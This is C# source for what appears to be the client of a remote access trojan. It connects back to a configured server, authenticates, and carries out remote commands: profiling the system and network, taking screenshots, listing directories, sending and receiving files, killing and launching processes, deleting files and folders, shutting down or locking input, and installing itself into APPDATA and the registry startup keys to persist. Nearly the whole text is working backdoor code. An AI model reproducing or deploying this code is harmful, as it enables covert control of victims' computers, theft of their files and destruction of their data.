static void Main(string[] args) { // TODO: Enable this in the final release accessResource(); // Checking if we are called to create a registry entry if (args.Length > 0) { System.Threading.Thread.Sleep(5000); if (args[0] == "-reg") { RegistryAlteration.AddToStartup(); } } // Defining the port and IP to form the connection. TcpClient client = null; IPAddress remoteIP = null; if (!IPAddress.TryParse(ipaddr, out remoteIP)) { if (!IPAddress.TryParse(NetTools.GetCorrespondingIP(ipaddr), out remoteIP)) { Environment.Exit(0); } } IPEndPoint serverside = new IPEndPoint(remoteIP, port); bool isConnected = false; bool isAuthenticated = false; int bytesRead = 0; while (!isAuthenticated) { while (!isConnected) { try { client = new TcpClient(); client.Connect(serverside); isConnected = true; } catch { isConnected = false; System.Threading.Thread.Sleep((int)connInterval); } } ns = client.GetStream(); byte[] message = new byte[2048]; // Authentication package is now enclosed in the message byte array. prepareAuthPack().CopyTo(message, 0); // Sending the authentication package over to the server. ns.Write(message, 0, message.Length); // Waiting for the RECV_SIGNAL try { bytesRead = ns.Read(message, 0, 2048); } catch { System.Threading.Thread.Sleep(5000); } if (compareRECV(ref message) && isConnected) { isAuthenticated = true; // We are connected and authenticated. Now, it is time to wait for the commands. while (isConnected && isAuthenticated) { try { bytesRead = ns.Read(message, 0, 2048); } catch { DisconnectionRoutine(ref client, ref ns, ref isConnected, ref isAuthenticated); System.Threading.Thread.Sleep(5000); } if (isConnected && isAuthenticated) { // Now, we are transferring the message to the latest processing step. object[] toPass = new object[2]; toPass[0] = (object)bytesRead; toPass[1] = (object)message; Thread thProcess = new Thread(new ParameterizedThreadStart(ProcessMessage)); thProcess.Start(toPass); } } } // Failed to authenticate else { DisconnectionRoutine(ref client, ref ns, ref isConnected, ref isAuthenticated); System.Threading.Thread.Sleep((int)authInterval); } } }
static void ProcessMessage(object incoming) { object[] passedArray = (object[])incoming; int messageLen = (int)passedArray[0]; byte[] message = (byte[])passedArray[1]; // If it's just a RECV message, then simply ignore it. if (compareRECV(ref message)) { return; } string strMessage = encoder.GetString(message, 0, messageLen); if (strMessage.Contains("messagebox<%SEP%>")) { string[] arguments = Regex.Split(strMessage, "<%SEP%>"); MessageBox.Show(arguments[1], arguments[2]); } else if (strMessage == "REQ_SYSPROP") { SendString("SYSPROP<%SEP%>" + CompileSystemProfile()); } else if (strMessage == "REQ_NETWPROP") { SendString("NETWPROP<%SEP%>" + CompileNetworkProfile()); } else if (strMessage == "SHUTDOWN") { PowerControl.ExitWindowsEx_MBO(1); } else if (strMessage == "REBOOT") { PowerControl.ExitWindowsEx_MBO(2); } else if (strMessage == "LOGOFF") { ExitWindowsEx(4, 0); } else if (strMessage == "LOCKDOWN") { Thread lockdownThread = new Thread(new ThreadStart(Lockdown)); inLockdown = true; lockdownThread.Start(); } else if (strMessage == "UNLOCKDOWN") { inLockdown = false; System.Threading.Thread.Sleep(1000); BlockInput(false); } else if (strMessage == "SUICIDE") { Environment.Exit(0); } else if (strMessage == "LIST_PROCS") { SendString("PROCESS_LIST<%SEP%>" + GetProcesses()); } else if (strMessage.Contains("KILLPROC<%SEP%>")) { string[] arguments = Regex.Split(strMessage, "<%SEP%>"); if (arguments.Length != 2) { return; } Process[] procs = Process.GetProcessesByName(arguments[1]); if (procs.Length > 0) { foreach (Process prc in procs) { prc.Kill(); } } } else if (strMessage.Contains("LAUNCHPROC<%SEP%>")) { string[] arguments = Regex.Split(strMessage, "<%SEP%>"); if (arguments.Length != 2) { return; } try { Process.Start(arguments[1]); } catch { } } else if (strMessage.Contains("GETSCREEN<%SEP%>")) { string[] arguments = Regex.Split(strMessage, "<%SEP%>"); int quality = 50; int port = 81; if (arguments.Length != 3) { return; } if (Int32.TryParse(arguments[1], out quality) && Int32.TryParse(arguments[2], out port)) { bool isScreenTaken = ScreenshotMechanism.TakeScreenshot(quality); if (!isScreenTaken) { return; } Thread thSStransfer = new Thread(new ParameterizedThreadStart(FileClient.SendByteArray)); thSStransfer.Start((object)port); } } else if (strMessage.Contains("LIST_DIRECTORY<%SEP%>")) // We will now send amorphous packages instead { string[] arguments = Regex.Split(strMessage, "<%SEP%>"); if (arguments.Length != 2) { return; } FilelistMechanism.ListContents(arguments[1]); byte[] contextBuffer = encoder.GetBytes(FilelistMechanism.latestList); SendString("EXPECT<%SEP%>filelist<%SEP%>" + contextBuffer.Length); // If there is nothing in it if (contextBuffer.Length == 0) { return; } // Calm down! Let the server breathe for a while. System.Threading.Thread.Sleep(100); ns.Write(contextBuffer, 0, contextBuffer.Length); // No more length check either! /*if (FilelistMechanism.latestList.Length > 2032 - scheme.Length) * SendString("FILE_LIST<%SEP%>" + FilelistMechanism.latestList.Substring(0, 2031 - scheme.Length) ); * else * SendString("FILE_LIST<%SEP%>" + FilelistMechanism.latestList);*/ } /*else if(strMessage.Contains("CONTINUE_LISTING<%SEP%>")) We won't be having this anymore * { * string[] arguments = Regex.Split(strMessage, "<%SEP%>"); * * if (arguments.Length != 3) * return; * * if( Convert.ToInt32(arguments[2]) != 1) * SendString( "FILE_LIST<%SEP%>" + FilelistMechanism.latestList.Substring( Convert.ToInt32(arguments[1]), Convert.ToInt32(arguments[2]) - 1 )); * else * { * SendString( "FILE_LIST<%SEP%>" + FilelistMechanism.latestList[FilelistMechanism.latestList.Length - 1].ToString() ); * arguments[2] = FilelistMechanism.latestList.Length.ToString(); * } * }*/ else if (strMessage.Contains("DELETE_FOLDER<%SEP%>")) { try { Directory.Delete(Regex.Split(strMessage, "<%SEP%>")[1], true); SendString("DISPLAY<%SEP%>Command executed successfully."); } catch (Exception e) { SendString("DISPLAY<%SEP%>An exception is caught while processing your request.\n\nContext:\n" + e.Message); } } else if (strMessage.Contains("DELETE_FILE<%SEP%>")) { try { File.Delete(Regex.Split(strMessage, "<%SEP%>")[1]); SendString("DISPLAY<%SEP%>Command executed successfully."); } catch (Exception e) { SendString("DISPLAY<%SEP%>An exception is caught while processing your request.\n\nContext:\n" + e.Message); } } else if (strMessage.Contains("SEND_FILE<%SEP%>")) { string[] arguments = Regex.Split(strMessage, "<%SEP%>"); if (arguments.Length != 3) { return; } Thread fileTransferThread = new Thread(new ParameterizedThreadStart(FileClient.SendFile)); fileTransferThread.Start((object)arguments); } else if (strMessage == "BIND_TO_START") { // TODO: Maybe we can read the process name and drop location from the resource too. string location = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + dumpImageName; File.Copy(Application.ExecutablePath, location); SendString("DISPLAY<%SEP%>The client will shut down temporarily and write itself to APPDATA and REGISTRY."); Process.Start(location, "-reg"); Environment.Exit(0); } else if (strMessage == "STARTUP_STATUS") { if (RegistryAlteration.isPresent()) { SendString("STARTUP_STATUS_RESULT<%SEP%>PRESENT"); } else { SendString("STARTUP_STATUS_RESULT<%SEP%>NONE"); } } else if (strMessage.Contains("GETREADY_RECV_FILE<%SEP%>")) { string[] arguments = Regex.Split(strMessage, "<%SEP%>"); if (arguments.Length != 3) { return; } Thread thRecvFile = new Thread(new ParameterizedThreadStart(FileClient.ReceiveFile)); thRecvFile.Start((object)(new string[] { arguments[1], arguments[2] })); } }